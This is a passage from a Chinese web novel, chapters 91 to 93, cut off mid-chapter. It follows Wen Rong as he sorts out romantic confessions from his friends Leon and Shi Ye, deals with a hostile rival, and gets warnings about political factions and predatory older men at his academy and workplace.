90-100 第91章 第 91 章 比拥抱还难戒 “咳咳咳咳——” 楼下跳舞的姑娘把裙子转得跟朵花似的, 乐声激昂,温绒被花椒呛到说不出话。 莱昂提示他,“喝水。” 温绒忙不迭往嘴里倒水, 纤白的喉咙上下滚个几轮,辣味终于压下去。 “咳、咳、咳、咳。” 这几声咳嗽,就显得刻意了。 但不这样假装,他不知道该怎么回答莱昂学长的话。 ——咬回去。 理智告诉温绒昨晚的事双方都有责任,可是学长这么说,他又莫名觉得自己吃了亏。 咬回去,我岂不是更亏了。 想明白后, 温绒坚定摇头,“不了,我已经原谅你了。” “你这么轻易就原谅, 学长感到很遗憾。” “啊?” 莱昂抓走温绒手边的水边,刻意转个方向,唇对着温绒刚才喝过的边沿凑上去。 下半张脸被挡住, 湛蓝的眼睛凸显。 莱昂用意味深长又缓慢地语调问:“学长更希望你要一些补偿,过分一点也没关系。” “…………” 温绒憎恨自己“长大了”, 能听懂学长的言外之意。 他手抓了空,才反应过来自己的杯子在学长那里,心脏重重一跳,埋头使劲用力闭上眼睛。 索性莱昂学长后面没有再说话, 这场饭局陷入令人舒适的安静。 服务员持续上菜,盘子噔噔噔响,温绒的心跳跟着节奏,静一会儿跳一会儿,骤然一股热流蔓延全身, 又迅速退却,像个心律失常的病人。 滋—— 桌上的手机发出救世主一般的震动。 温绒第一时间跟着声音望去。莱昂学长先一步看清来信内容,笑道,“时野问我们在哪儿,他也要过来。” 时野过来! “要让他来吗?” “要!” 多一个人过来,说不定能缓解尴尬。 温绒天真地想。 “嗯,从他那边过来大概需要十五分钟,我们可以再点一些菜。” “应该是半个小时。”温绒下意识纠正。 “他开车快。” 如学长所料,十五分钟后时野果然穿着汗淋淋的运动服出现在楼梯拐角。 他没戴口罩和鸭舌帽,光是过高的身形就足够惹眼,旁边有人认出他,侧头悉悉索索跟朋友讨论。 就是从楼梯口走到温绒面前的几步距离,就有人冲到时野面前请求他签名。 温绒一边喝汤一边看,心情放松许多,至少现在有点接吻以外的事情可以关注。 服务员把新点的菜送上来后,时野正好也签完字,过来坐到温绒旁边。 他问:“你们只是来吃饭吗?” 莱昂:“刚才还看了烟花。” “这边烟花有什么……”时野欲言又止,转而看向温绒,“烟花好看吗?” 温绒心情愉悦地答:“好看” 诋毁的话说不出口了,时野尴尬改口,“要是还想看,下次我带你来。” “嗯……” “……” “……” 空气陷入沉默,筷子敲在瓷盘子上,静得比只有他跟学长是还要可怕。 怎么会这样呢? 为什么会这样! 温绒绞尽脑汁想不出所以然。 “你跟莱昂出来怎么不叫我。”时野突然出声。 “啊?”思绪打断,温绒懵懵抬眼。 “你下次要叫上我。” “……”温绒似乎是明白了,“哦……好好,下次叫上你。” 莱昂轻笑,“又不是上厕所还要人陪的小孩子,为什么要叫上你。” 时野回击:“关你什么事。”!!!! 不要吵架啊! 温绒赶在莱昂学长开口之前连忙道,“时野,我想喝水。” 时野一顿,视线在桌子上扫一圈,没看到水壶,收回目光时瞧见手边的水杯,不知道想到什么,唇角勾了勾,手指抵着杯壁往温绒面前送。 时野开口之前,对面传来声音,“我也想喝。” 时野:“……” “温绒,旁边有家蔬菜汁很火,你想尝尝吗?” “嗯嗯。” 其实温绒不想喝,但事情都发展到这个地步了,好像只能想喝了。 随即莱昂做了个朝外瞥的眼神,温绒不知道为什么,忽然就明白了其中的意思,迅速站起,“我去买。” 可是时野不动。 他不动,温绒就出不去。 “时野,你让一让我。” 时野还是不动,“你去干嘛,他想喝他自己去。” 温绒连忙答:“没,我也想喝,我去买。” 莱昂突然附和时野,“还是别去了吧,他家排队很厉害,说不定要等很久。” “啊?” 莱昂:“虽然味道确实不错,但排很久的队伍不太划算,保守估计20分钟。” 20分钟! 温绒坚定:“我想喝,我去排。” “我去。”时野噌一下站起。 “啊?” “我去买,你这么矮,在下面被挤死怎么办。” 时野说完,瞪莱昂一眼,戴上口罩扭头朝外走。 温绒眼睛在时野的背影跟莱昂学长身上来回逡巡,等终于反应过来应该喊住时野的时候,时野已经大步下楼去了。 干愣着几秒,温绒尴尬闭上嘴,坐下。 砰地一声,莱昂用筷子敲了敲碗,“还记得莫吉托吗?” “嗯?” 莱昂笑而不语,把手边的杯子递到温绒面前。 杯面水波轻荡,映着他呆愣的脸。 几秒后,温绒如梦初醒。 对哦!要是良心不安的话,等会儿可以给时野买个礼物感谢他。 买什么礼物呢? 温绒歪头想着,筷子都放了下来。 仿古的木质楼梯摇晃出声,一行人浩浩荡荡上楼,正要继续往上,走在队伍最后的男生猛然一顿,眼睛直勾勾冲向二楼护栏边,温绒的脸上。 “走不走?” 旁边人喊他,他摆摆手示意他们先上,自己理了理领角,走过去。 “好久不见。” 对方闻声抬头,赵泽阳终于看见许久没有亲眼见过的脸——亲切的脸。 他歪着嘴角朝他笑,“黑框眼镜不适合你。” “……” “就你们两个人吗?” 温绒迟钝了片刻,心里泛起无数的反感,没来得及消化校外偶遇讨厌的人这件事,讨厌的人就自顾自在他旁边坐下。 温绒视线朝下,挪开差点跟赵泽阳靠到的膝盖。 时野在的时候都没发现,原来这个椅子这么窄,赵泽阳坐下来,几乎要把自己挤到墙角去。 没有哪一刻比现在的心情更糟糕了,还不如刚才的尴尬。 赵泽阳说:“莱昂,好久不见啊,你爸最近负责的案子在蓝书上好像争议很大。” 莱昂嘴角微勾,“蓝书上舆论已经不重要了,弗罗里曼学院官方软件更权威。” 赵泽阳表情微变,即将开口时,旁边响起急切的声音。 “这是时野的位置。” 赵泽阳一愣,“什……” “这是时野的位置。”温绒不留情地开口:“你起开。” “哈?”赵泽阳嘴巴张开表示自己的惊讶,而后闭上嘴,脸上终于露出“不受欢迎”的尴尬,随即恼羞成怒,“你以为他这次还能打赢我吗?” 莱昂噗嗤一笑,“只是不欢迎你坐在这里而已,没人提比赛,别那么敏感。” “你是不是做梦都在想着赢我?”楼梯口,时野拎着三杯饮料走近。 赵泽阳大概不想仰头看时野,终于站起来,与他对视,“我现在就可以赢你,出去打一场。” “我要陪温绒吃饭。” 赵泽阳瞳孔震慑,说不出话。 时野得意,“你坐到我的专属座位了,起开。” “艹你妈——” 赵泽阳愤怒抬手要给时野一拳,时野练拳击的自然反应得过来,但还手之前被猛地往旁边一推,莱昂抬手一拳把赵泽阳打翻在地。 “虽然我不太喜欢周谢那一套,但确实管用。”莱昂活动脖子,冷笑,“公开赛规定比赛选手禁止违反法律,在1区公共场合寻事滋事,处以拘留十天处罚。” 这一拳和这些话,把所有人都震住了。 楼上哒哒哒有人跑下楼,连忙跑到赵泽阳身边扶他起来,“不好意思不好意思,我家少爷看见校友有些激动。” 滋啦—— 楼上的窗户从里打开,王斯辰居高临下,优雅举杯,“小朋友,一点小事而已,不用麻烦警察。” 莱昂蹙眉,伸手拉温绒。 王斯辰侧头又说,“我家小孩在你这里砸坏东西了,事后找我秘书报销。” “几个碗而已,没事。” 只听见声音,没见到人,但对话不难让人猜出来,这个人是店里的老板。 地上没碗,王斯辰说有,那就是有。 赵泽阳擦嘴起身,朝时野放狠话,“我这次肯定赢你。” 时野要开口,莱昂使了个眼神,没说了。 赵泽阳上楼,饭也没心情再吃下去了,三人走出餐厅,坐上时野的车。 时野目光死死盯着空荡荡的副驾驶,刚准备开口,莱昂笑了声,“你看,周谢他爸马上卸任,王斯辰的人就不把咱们当回事了。” 时野喉头一卡。 联邦现在的情况就是如此,一些人扶持一个总统上位,总统给这些人牟利,时野家和莱昂家支持周谢父亲,接下来王斯辰上任,必然是要吃些苦头的。 当然,赵泽阳敢来招惹他,还有他离开时家的原因。 时野嘴边吐出口气,“比赛我肯定会赢。” 莱昂意味不明地勾唇一笑,偏头要跟温绒说话,却发现温绒一直望着窗外。 “怎么了?”莱昂凑上去跟着看。 “学长,我进来的时候看到门口有一家漂亮的店,我想逛逛再回去。” “行。” 车子发动,温绒猛然想起很重要的事,“这里不是禁止开车吗?” 莱昂轻笑,“算是一点……特殊权利。” 温绒的眼镜片贴紧车窗,望着路上行人,低声喃喃:“原来我早就在享受权力了。” 车到门口,三人下车。 店里确实是专门售卖文创的地方,温绒没来错。 他趁着莱昂跟周谢不注意,买了两个亮晶晶的东西,悄悄藏进口袋。 从研究中心到时野家确实只花15分钟,时野开车速度很快,在最里面车道飞驰,一路甚至没遇见几个红绿灯。 大概看出温绒的惊讶,莱昂解释,“走的区内高速,快车道不限速,时野小时候玩赛车,可以开很快。” 温绒看着模糊的车景,忍不住吞咽唾沫,“还是……慢慢的……的吧,安全要紧。” 时野:“知道了。” 车速大概就降了10左右,温绒手抓紧把手,心脏跳到嗓子眼儿。 下车时,他腿都在软,又心生庆幸:幸好活着。 但不幸好的是,时野竟然主动开口要去训练,留下温绒跟莱昂四目相对。 不到两秒,莱昂说:“我送你回房间。” “不用不用。” “温绒,你在躲着我?”又低声道歉,“对不起,昨晚给你留下了心理阴影。” “没有没有。” 在拒绝和不好拒绝中,莱昂扶着腿软的温绒上了楼。 短短的路程,比坐车上还要忐忑,温绒心惊胆战,生怕莱昂学长又说“咬回来”之类的话。 “温绒。” 快要见到房间门的曙光时,莱昂学长打破沉默。 温绒怯怯回应:“嗯……” “我爱你。” “…………” 温绒:“!” “我只是想让你知道。” “……” “进去吧。” 温绒猛一下拉开门,啪一下合上门,顾不及其他,猛一下扑到床上。 他滚来滚去,拱来拱去,最后窝囊地在床上缩成一团,屁股朝天,脸埋在手臂里。 这一刻,陌生的记忆闪回。 “坐在学长身上的时候不可以这样动。” 坐、在、学、长、身、上! 吐出的热气返回脸颊,好像昨夜残留的暧昧重新环抱他的身体,在敏感的腿肉上流连。 温绒浑身一紧。 他连忙强制自己翻个身,仰躺在床上。 可是诡异的记忆再次蹦出来,学长抱着他,很紧,很烫,湿润得像蛇。 别想了别想了。 不能放纵啊! 可这好像比戒掉拥抱更难,温绒在莫名的紧张和燥热中沉溺,沉到底,竟然——意外陷入焦虑。 系统体察到他的情绪值竟然在降低,忍不住问:【宿主,这不是好事吗?】 系统想,莱昂喜欢宿主,宿主也喜欢莱昂,不就可以顺理成章地在里一起了么,怎么宿主看起来一副很难接受的的样子。 温绒猛一下起身,好像美梦里陡然出现一个鬼,吓得浑身激灵。 “哥哥,如果跟莱昂学长交往,是不是就不能跟新闻社的学长们出去玩了。” 【啊?】 “还有时野。” “我是不是不能早上跟他一起打网球练腹肌了。” 【应该……可以出去玩吧。】 “可是那对情侣吵架了。” 【哪对?】 “在水幕喷泉前面吵架那对,好像还要分手。” 那对情侣让他认识到,谈恋爱原来还是一种“责任”。 温绒喜欢现在的生活,看到喜欢的风景可以给大家分享,可以跟大家出去玩,想干什么就干什么,如果谈恋爱的话,好像就不能那样了。 他如果跟学长谈恋爱,他就要对学长负责,不能让学长吃醋伤心,不然跟时野他父亲有什么区别。 可是,温绒发现自己很喜欢学长的同时,也喜欢其他人。 他舍不得其他朋友。 “这样的生活才过了几个月,我再体验体验,以后再谈恋爱,可以吗?” 【可以。】 其实系统想讲谈恋爱是双方的事,既然已经知道了别人的心意,要是不回应别人会心灰意冷,但转念一想,追宿主的人从这里排到弗罗里曼学院,倒也没有失去谁会很可惜这种说法。 温绒彻底安下心,拍拍脸颊,“现在先把这些事情放一边,我给学长和时野买了礼物,我要学一学包装。” 【怎么给他们买礼物?】 “谢谢学长请我吃饭看烟花,谢谢时野留我住在这里。” 【嗯嗯,可以可以。】 看到宿主懂得人情世故和礼尚往来,系统心里十分满意,他的宿主长大了! 咚咚咚 敲门声在这个时候响起。 温绒疑惑看向门的方向,有种不好的预感,“哥哥,不会是学长吧。” 随即紧张,“要是他叫我咬回去怎么办。” 【你可以拒绝。】 我可以拒绝。 对哦,我可以拒绝。 可是我要用什么理由拒绝学长…… 温绒犹犹豫豫,起身开门——看见意料之外的人。 时野像是刚从训练场跑回来,额角滴着汗,呼哈呼哈吐着气,手里竟然还举着个网球拍。 “昨晚是我。”他说。 “啊?” 时野喉咙一滚,“昨晚上跟你接吻的是我。” 温绒:“?” “真的是我。” “…………” “你的嘴是我咬破的,因为你咬了我的舌头。” 时野吐出舌头,露出舌尖明显的一道伤口。 猩红的,冒着热气,像是恐怖的怪兽。 “啊啊啊啊”由于过于震惊,温绒的嗓子发出诡异的吼叫。 【关门关门】系统尖叫。 温绒“啪”一下用力摔门。 世界安静。 系统安静。 脑子一片空白。 温绒立在地上,跟棍子一样直愣。 时野说什么? 时野说昨晚跟自己接吻的是他? 说自己嘴是他咬破的? 还说自己还咬了他的舌头? 系统急吼吼道,【宿主,莱昂不是说是他吗?怎么会是时野?】 “对啊,学长不是说是他吗!” 【到底是谁?】 “到底是谁?” 【宿主你冷静一下。】 “我……我我冷静一下。” 【对。】 “对,冷静一下。” 温绒用力扇自己巴掌,强迫自己冷静。 “为什么莱昂学长说是他,时野也说是他?” 【对啊,为什么莱昂学长说是他,时野也说是他?】 “为什么啊!” 【为什么啊!】 “哥哥你冷静一点。” 【对,我冷静一点。】 “……” 【……】 一人一统维持诡异的沉默,房间彻底陷入寂静。 门外,时野兜里手机滋一下震动,他拿起来,眼眸染上屏幕的蓝光。 三分钟前,莱昂来信: [我给温绒坦白了昨晚的事。] 三秒钟前,莱昂又来信: [我还说,他的嘴是我咬的。] [他都信了。] 第92章 第 92 章 我也很喜欢学长 温绒第一次熬夜。 半开放的庄园即使到了半夜也没有彻底暗下去, 时不时有白色的球型光束从窗户处跑进来,在墙上印下明亮的一点。 最后这点光越来越大,越来越亮, 充盈整个房间。 温绒爬起来,第一反应是自己熬夜了。 可再细想,又觉得自己只是睡得浅。 总之,脑子混乱。 他到卫生间洗把脸,从镜子里看见自己憔悴的眼睛,困扰一夜的问题重新揪着心脏闷痛。 “哥哥,怎么办啊。” 【……】 它也不知道啊! 从业多年, 哪见过宿主断案“昨晚谁亲了我”最后得到“每个人都亲我了”这样结论的。 温绒垂头,水珠顺着发尾落在洗手池上。 数值面板上,情绪值持续下降。 系统着急道, 【宿主可以问问新闻社的学长们,他们不是你的朋友吗!】 对!可以问新闻社的学长们。 温绒一个激灵打开新闻社的群。 输入“学长们,我前晚喝醉闯祸了, 我同时亲了时野跟莱昂学长。” 删除删除 这样说有点奇怪。 温绒修改说法,输入“学长们, 莱昂学长和时野都跟我表白了,怎么办。” 发送。 林启正:[哦豁,终于跟你表白了?] 温绒:[啊?] 怎么是“终于”。 张麟:[你怎么想?] 温绒:[我暂时谈不了恋爱,我还负不起责任。] 林启正:[这个话术高啊!顶尖海王语录/棒] 林启正:[老幺, 我相信你绝对是有感而发,我也是单纯的有感而发。] 张麟:[别理他。] 张锦程:[谈恋爱要考虑结婚,你准备好结婚了吗?] 结婚。 组建家庭。 有些思绪慢慢回到他的脑子,理清昨晚被扰乱的思绪。 温绒关上手机。 【他们还没给你建议怎么就关了。】 温绒甩甩脑袋,水滋滋滋跳到镜子上, 镜子模糊映出他恢复神采的脸。 “不知道为什么,把问题说出来后一下子就想明白了。” 不只是负责的问题。 无论组建家庭还是谈恋爱,都需要物质基础。 他现在有很多事情要忙,学习、工作、活下去……这些没解决之前根本给不了另一半幸福的生活,就连去约会,自己都没办法安排大餐和烟花表演,要是更极端一些,自己攒不够积分,真的会死,那另一半该有多难过。 嗯!所以现在还不应该谈恋爱。 彻底想清楚的温绒把前晚发生的事短暂放到脑后,摸出自己准备的礼物,先去敲莱昂学长的房间门。 咔擦—— 温绒在说话前先把礼物举起。 莱昂学长还穿着昨天的衣服,头发都不见凌乱,像是彻夜未睡。 “要送给学长?” 莱昂单手撑着门框,弯下腰,凑近温绒的手,“是单纯想送学长礼物,还是有其他的话要说?” 温绒手指蜷缩,强撑着,“想谢谢学长昨晚请我吃饭看烟花。” “还有呢?” 莱昂抬眼,目光对视的刹那,温绒迅速低头避开视线。 明明没有直说,但温绒就是知道,他说的是那三个字。 ——我爱你。 一想到这三个字,温绒胸口就涌起难以言喻的潮气,后背打个冷颤。 一秒 两秒 三秒 …… 时间缓慢流走。 温绒用舌尖顶着上颚,把力气汇聚到那儿,强行吞咽一口,“我……” 空气紧密,像厚重的被子盖在他跟学长身上,燥热和呼吸不畅的感觉侵蚀着每个细胞。 温绒手指彻底勾起,攥紧礼物的包装袋。 “我也很喜欢学长。” “但我现在还很穷,每周的学习成绩也没有排第一,还没有买房子,以后也不一定……”能活着。 “我负不了责。” 一沉默,温绒说就想到林启正学长说的“海王”,意识到这些理由可能对什么都不缺的学长来说有些牵强,温绒想再解释,莱昂学长意外弯了弯眼睛,“原来你也喜欢我吗?” 砰砰 温绒心脏急速跳两下,抿唇点头承认。 “学长的荣幸。” 莱昂捡走他手上的小礼物,“礼物是昨晚买的?” “嗯。” “也给时野买了?” 学长怎么知道! 温绒瞪大眼睛,在沉默中回想到,这个办法是学长教的,学长肯定猜得到。 “嗯。” 他又解释,“我要谢谢他这段时间收留我。” “做得不错。” 温绒得到一些肯定,心情愉悦,“谢谢学长。” 从莱昂房间门口离开,温绒去敲时野的房间门,却没得到回应。 路过的管家说,时野一个小时前就去了训练场。 早饭时,时野才回来。 索性最难的一关已经过了,温绒状态良好。 用餐结束,他把礼物给时野。 “谢谢你这段时间收留我。” 时野大惊:“是给我的礼物?” “嗯。” “只给我一个,还是莱昂也有?” 温绒连忙解释,“虽然我给你们两个都买了,但你们的礼物长得不一样,我没有随便买。” 时野犹豫了下才把礼物拿走,“也行,至少你还想到我了。” “为了答谢你,等会儿我带你出去吃饭。” 温绒遗憾拒绝,“等会儿我要去公司签合同,接下来要忙工作。” 时野挫败,假笑送温绒上车。 在车离开视野的瞬间,表情巨变,管家来提醒“该训练了”都挥手暂拒,一心摸手机拨出电话。 “敌妃火力强盛,我晋升皇后困难,怎么办。” 林启正悠悠回:“你的意思是,你把莱昂当兄弟,兄弟跟你玩脑筋?” “……”时野觉得有些不对,但回想起莱昂的一系列操作,嗯嗯点头,莱昂确实把他坑得很惨。 林启正也沉默了几秒,最后叹气:“这种时候,只有魔法才能打败魔法了。我这里有《10天速成绿茶》,要不要?” “要。”时野斩钉截铁。 “是这样的,我马上准备开发的游戏需要一些……钱和代言。” “钱好说,代言不行,我可以给你找游戏主播推。” “成交!”- 签完合同后公司有一场培训,温绒在HR小姐姐的带领下进入办公室,一起参会的还有他昨天模仿的对象。 会议内容是决赛当天基本安排,温绒在赛后采访组,当天只需要打扮得体,在后台等到比赛结果出来,跟着其他同事一起采访参赛选手。 这份赛后采访的工作比他想象中更加简单,公司甚至准备好了稿子,只需要他走上台对着镜头念。 温绒平生第一次发现,50万竟然这么好赚。 会议结束后所有人集中到食堂去吃午饭,温绒跟在人群后面,等电梯时,“叮”地一声,听到有人惊呼。 疑惑望过去,竟然见到周谢。 周谢周围环绕着两个戴耳机的保镖大哥,气势很盛,温绒跟着其他人一起倒退让出路。 “不愧是周总统的儿子,真优秀。” “听说他还是弗罗里曼学院的学生会会长。” “那温绒应该认识吧?” “温绒你跟周总统的儿子熟吗?” 温绒觉得应该说不熟的,刚才碰面都没有打招呼,但要真说不熟,似乎又有些奇怪,周谢是学长和时野一起长大的好朋友。 犹豫片刻,最后选了个折中的回答:“我们是校友。” 滋——手机震动。 周谢:[过来一趟,有事。] 温绒:…… 温绒遗憾给大家抱歉,以打电话为理由脱离大部队。 往回走,拐个弯,就看见周谢带着他的两个保镖站在墙边。 温绒不是第一次见这阵仗,已经有些习惯。 “赵泽阳在下面,你等会儿再走。” 温绒还没问叫自己来的原因,周谢先开口。 “嗯……” 他是不是在好心提醒我? 温绒一愣,又道谢,“谢谢。” “还有——没我这种被你气得要死还忍气吞声,上赶着热脸贴冷屁股的校友。” 温绒回味这句话,总觉得怪怪的,莫名敏感,“你不会也喜欢我吧!” “也?”周谢眯起眼睛。 那就是没。 温绒松了口气,“没事。” “时野跟你表白了?” “……”温绒语塞。 怎么所有人好像都知道似的。 “等会儿,你的嘴——” “啊啊啊啊啊” 温绒慌张大叫打断他。 他不是第一次失态,但是第一次刻意为之。 被人发现接吻咬破嘴这种事怎么想都太恐怖了。 更恐怖是:接吻对象不止一个。 周谢无语,“我本来以为你只是脑残磕到嘴,反应这么大,让人不得不想歪。” 温绒默默闭上嘴。 又一声“叮”,脚步声靠近,随着一片云遮挡太阳。 温绒心虚回头,跟站在阴影里的赵泽阳对上视线。 赵泽阳歪嘴阴阳怪气地笑,“又换人了?” 温绒:“?” 随即,赵泽阳看向周谢,脸上露出嘲意,“你攀权附贵也该放长眼光,找些夕阳有什么用。” 温绒不理解他说的话,而且他的注意力完全被赵泽阳身边的人吸引。 跟火车上的打扮完全不一样,丢掉了眼镜,穿着新潮,俨然是跟赵泽阳一样的富家少爷。 林竞航注意到他的目光,举起手,“嗨。” 温绒不知道林竞航怎么会跟赵泽阳在一起,甚至因为他跟赵泽阳走在一起,而拒绝回应。 赵泽阳:“千万别一狠心跟了他们三,最后竹篮打水一场空。” 周谢凉飕飕开口:“又这么管不住嘴,忘记怎么被退学的了?” 显然“退学”是赵泽阳的痛点,表情微变,看向温绒的眼神从嘲弄变为憎恨,在明显的体型差距和过近的距离下,温绒缩了缩脖子。 他积分不够,不能换道具,而周谢肯定不如时野能打,目前状况下没有任何安全感。 但是周谢有保镖! 温绒掂量赵泽阳气急败坏动手后自己不会吃亏,硬气回答:“周谢说的对。” 周谢的视线往温绒后脑勺瞥一眼,无奈温绒察觉不到他的眼神,只能向两个保镖。 保镖会意,伸手在温绒面前一拦,阻止赵泽阳再说话。 周谢:“走了。” “哦哦。”温绒最后看林竞航一眼,跟上周谢。 周谢走得极快,温绒跟上有些吃力,一前一后拉出两三步距离。 想着林竞航怎么跟赵泽阳那种人混在一块儿的时候,周谢猛一下停住脚步,回头吼,“什么叫我说的对?你拿来气我的话就不能对着赵泽阳说?那些你比我高级……你给他说啊,怎么一句都不说,对他那么好,难道昨晚把你嘴巴咬破的人是他?” “啊啊啊啊啊”温绒跟个被触发开关的机器人一样尖叫。 能不能别提昨晚接吻这件事了! “你什么反应?” 温绒愁眉苦脸,“你能不能不要再提我的嘴,我以后绝对不喝酒了。” 周谢:“接吻是什么见不得人的事吗?” “没……” “那你这么大反应?我让你穿女装的时候你怎么不这样。” “能不能别提了。” “不就是——” 温绒打断他:“你一晚上跟两个人接吻试试!” 周谢:“…………” 空气陷入可怕的死寂,两个保镖都定住身体以示震惊。 周谢的眼神缓慢沉下,想要开口,最后还是止住了,叹了口气岔开话题,“你认识那个特招生?” “谁……谁啊?” “林竞航。” “我们在火车上认识的。”温绒再慌张也不会告诉周谢他跟林竞航都是穿书的。 “现实版农夫与蛇被你遇上了。你让学校重新查他当年被赵泽阳霸凌的事情,现在他跟赵泽阳一块儿玩。” 温绒一懵,“啊?” “他就是三年前被赵泽阳霸凌退学的特招生,一朝升天,现在是王斯辰议员货真价实的亲侄子。”!! 林竞航是王斯辰侄子这件事温绒知道,怎么他还是三年前那个特招生。 周谢冷哼,“给自己养了个敌人的感觉如何?你是特招生,他也是特招生,你背后空无一人,他背后是下任总统,校长打算让他取代你目前的位置。” “我的位置?” “当比你更有优势的替代品出现,你要还是现在这副死样子,你以为以后还能投个简历就成为重大比赛的采访组人员么。” 温绒仰着头,阳光落在眼睛里,晶莹的眸子闪烁微光。 周谢想到那晚莱昂跟时野对着这张脸亲下去,伸手探进口袋,抽出只烟想点燃。 打火机刚翻开,又想到温绒上次断然拒绝二手烟,只能把火灭了,单纯把烟叼在嘴上。 “林竞航说要重新回弗罗里曼学院的时候我就觉得不对劲。” “按照林竞航现在的身份,重新回弗罗里曼学院那天,学校里面各方势力都会分裂。” “分裂?” “弗罗里曼学院跟联邦政府一直都关系密切,现在政府分裂成新总统派和旧总统派,学院里面很快会分成我的派别跟林竞航的派别。” 温绒试图理解周谢说的这些东西,再结合昨晚莱昂学长说的话,忍不住问:“你父亲不当总统后怎么办?” “很多人继续当议员,我父亲打算退休,他最近迷上了钓鱼。” “钓鱼挺好的。” 福利院后山经常有老爷爷钓鱼,温绒特别羡慕他们。 “以后就是我来跟王斯辰争。” 温绒惊讶,“一定要争吗?” “现在让你去读普通大学你绝对张嘴就说你可以,但你真去试试就知道,你已经不可能再呆在那种环境了,你适应了弗罗里曼学院,知道了弗罗里曼学院的好,无法再接受平庸。” 温绒刚张嘴准备说,周谢抢先一步:“我跟你最大的区别在于,我不需要试就知道会是什么结果。” 好像被骂了。 索性温绒并不在乎这些,认真顺着周谢的话思考,如果现在去读普通大学,自己很有可能无法适应,因为普通大学没有单人宿舍和免费的笔记本电脑,也没有新闻社,莱昂学长、时野…… 他完全理解了周谢的想法,“我明白了,那你加油。” “我加油?” “嗯。” 周谢嘴上的烟噌一下起立,“你呢。” “我?” 周谢叹口气,岔开话题,“我不知道你在火车上跟林竞航有了什么深切感情,但我建议你离跟王斯辰相关的所有人都远一点。” “王斯辰是崛起很奇怪,他手段下作,人品不行,按理不会得到别人的信任,但现在的情势很明显,大部分人支持他。” “为什么?”温绒问。 “我也不知道。” 周谢答完又说:“还有一件事我必须提醒你” “嗯嗯。”温绒诚恳点头表示自己正听着。 “王斯辰很喜欢你。” 脖子一僵,温绒:“?” “他喜欢你,跟赵泽阳喜欢你一个性质。” “他喜欢我?!” “对。” “他……应该结婚了吧。” “没结。” “他他他看起来像结了。” “无论是四十岁,还是五十岁、六十岁、甚至七十,只要是个人,都会喜欢年轻的皮囊。你以为只有王斯辰一个四十岁的老男人喜欢你吗?蓝书上的400万粉丝,你不会以为他们全是正常年轻人吧。” 温绒背脊一寒,第一次认识的“网络是把双刃剑”。 “独有美貌从来都不是好事,你需要高不可攀的稳固地位才能保护自己。” “……” “等林竞航完全替代你,那400万粉丝里面跟王斯辰一样有权势的人全都会涌上来。” “你想同时跟十个老男人接吻吗?” 温绒定在原地,如遭雷劈- 走到哪,那朵云跟在哪,阴影偏爱两人。 林竞航想着等会儿去尝尝号称上万的牛舌,再去试试几千万才能开的超跑,不知道这个世界的豪车跟末世的有没有区别。 “兄弟,你有办法帮我搞到温绒吗?” 林竞航思绪一断,回头看赵泽阳搭在自己肩膀上的手。 “刚才朋友的那个温绒吗?”他问。 “对,就是刚才那个矮的,戴黑框眼镜的。” “因为他长得好看?” 美貌在末世是最廉价的资源,丧尸太多人太少,压抑情绪下滋生更多性/欲,为了自保,很多长得正常的人甚至要刻意往脸上划些伤口来防止被觊觎。 林竞航觉得温绒很笨,什么都没有就敢露脸,还让全世界的人都知道。 “不只是好看……” “除了好看还有什么特别的地方?” “时野绝对也喜欢他,我就想抢时野喜欢的人。”赵泽阳舔唇,“当着时野的面上他喜欢的人,多爽。” 林竞航冷哼。 胜负欲确实算理由。 不过林竞航始终认为男人之间的对决就该拳头比拼,扯喜欢的人进来干什么? “兄弟,喜欢就去追,送花送车砸钱,找我干什么?” 赵泽阳:“你不是很有办法吗?” “我高中整整追了三年都没追到喜欢的人,我只能给你负面建议,要吗?” 赵泽阳抽搐嘴角。 恰好路过一处宣传栏,时野跟赵泽阳一起印在海报上,巨大的“决赛”惹人注目。 赵泽阳一顿,“你帮我弄时野。” 林竞航看着海报上的脸,点头,“虽然没有听你话的理由,但很巧,最近有个人也让我对付他。” 赵泽阳惊愕,“谁?” “张婉菲答应王……我叔叔,只要把时野处理了,时竞继承时家后,整个时家都归我叔叔。” 林竞航在这个资源丰富又全是人的世界呆得很开心。 他想建立属于自己的王国,好好享受万人之下的感觉再去下一个世界。 第93章 第 93 章 这么坏!这么……聪明。…… 温绒对周谢保持戒心, 又不得不承认他说的话有些道理。 好像为了证明周谢这次真的没有歪心思似的,下午的集体会议结束,总经理身边的秘书来找温绒, 问他晚上有没有空单独吃顿饭。 恰好HR小姐姐路过,走过来问:“又有什么工作吗?” 秘书面露尴尬,“领导儿子正在备考学院,想找温绒请教一点经验。” “他能有什么经验,他是特招的呀。” 秘书语塞,说不出话,HR小姐姐看向温绒, “我看你填的地址在时家庄园,那边远,得赶紧回去了。” 温绒隐隐在对话里感受到到什么, 回道,“车还有十分钟到,您要不要一起走, 正好送您回家。” “不用,我家就在附近。” 秘书插不上话, 尴尬离开,走出公司大门时,HR小姐姐表情骤然严肃,提醒他, “男生也很危险,他们要是找你单独吃饭千万别去。五十岁有儿有女的老男人了,心思龌龊得很。” 如HR小姐姐所说,坐上车后温绒在蓝书上搜索自己的临时老板,第一条是将近五十岁的胖子带着全家一起观看网球公开赛, 第二天则是胖子与多位年轻女明星的花边新闻。 回程一路安静。 他靠到椅背上,慢悠悠享受着晚风,数道红透了的彩霞在眼镜片上划过。 这个晚上只有温绒一个人吃饭。 他的工作提上日程,时野的训练任务也越来越重,几乎从网球场抽开身。 管家说,莱昂学长早上出门后就没有回来,温绒猜他应该是去研究中心了。 时间忙碌又迅速地过着,决赛前两天,温绒在HR小姐姐的提醒下才知道采访当天的穿着要自行安排,于是一结束工作他就给莱昂学长打听哪里能买到能上镜的衣服。 莱昂学长没有回复,温绒猜他应该在忙,就只能询问时野。 时野:[在哪,等我过来。] 温绒想时野应该是忙的,婉拒:[不用,你告诉我地方就行。你训练要紧。] 时野:[我得知道你那天穿什么才好穿件跟你一样的运动服,少废话,我坐上车了,马上来接你。] 半小时后,温绒坐上时野的保姆车。 时野给司机讲了一连串名字,司机点个头,车就开到一处古镇样式的地方。 沿着河建的,巷子窄,车过不去,两人下车往里走十来分钟,路过无数建在院子里的小店,最后进入一处养着一池荷花的地方。 年轻的店员打扮有些眼熟,温绒一下子想不起来,在他跟时野的问答中也没记起什么。 “时少爷要做什么样式的?今天我们老板正好在,您坐着休息,尝尝我家新做的莲花酥,我去叫她。” 时野:“你想要什么样的。” 店员才意识到,真正的顾客是时野身边的温绒。 眼睛循着声音往温绒身上瞧,满脸对顾客的礼貌奉承,但再瞧一瞧,辨认出温绒是谁,眼睛蓦然瞪大。 那脸脸上的笑容瞬间更真切几分,连忙带着两人上二楼,进入一间可以俯瞰院景的休息室。 